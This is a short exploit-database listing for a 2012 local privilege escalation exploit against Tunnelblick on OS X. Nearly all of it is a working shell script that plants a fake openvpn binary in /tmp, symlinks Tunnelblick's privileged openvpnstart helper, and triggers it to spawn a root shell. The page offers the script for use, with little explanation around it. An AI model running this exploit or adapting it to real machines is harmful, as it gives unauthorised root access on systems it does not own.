Tunnelblick – Local Privilege Escalation (2)

• Exploit Database
• 132 阅读

• 作者： zx2c4
  日期： 2012-08-11
• 类别：

  • local
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/20443/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34

  #!/bin/sh   #### Pwnnel Blicker #### # for kids # ## # zx2c4# ## ########################   # This is another exploit for Tunnel Blick. # Other exploits for Tunnel Blick are available here: #http://git.zx2c4.com/Pwnnel-Blicker/tree/       echo "[+] Making vulnerable directory." mkdir -pv /tmp/pwn/openvpn/openvpn-0   echo "[+] Preparing payload." cat > /tmp/pwn/openvpn/openvpn-0/openvpn <<_EOF #!/bin/sh echo "[+] Cleaning up." rm -rfv /tmp/pwn echo "[+] Getting root." exec bash _EOF chmod -v +x /tmp/pwn/openvpn/openvpn-0/openvpn   echo "[+] Creating symlink." ln -s -v -f /Applications/Tunnelblick.app/Contents/Resources/openvpnstart /tmp/pwn/start   echo "[+] Triggering vulnerable program." exec /tmp/pwn/start OpenVPNInfo 0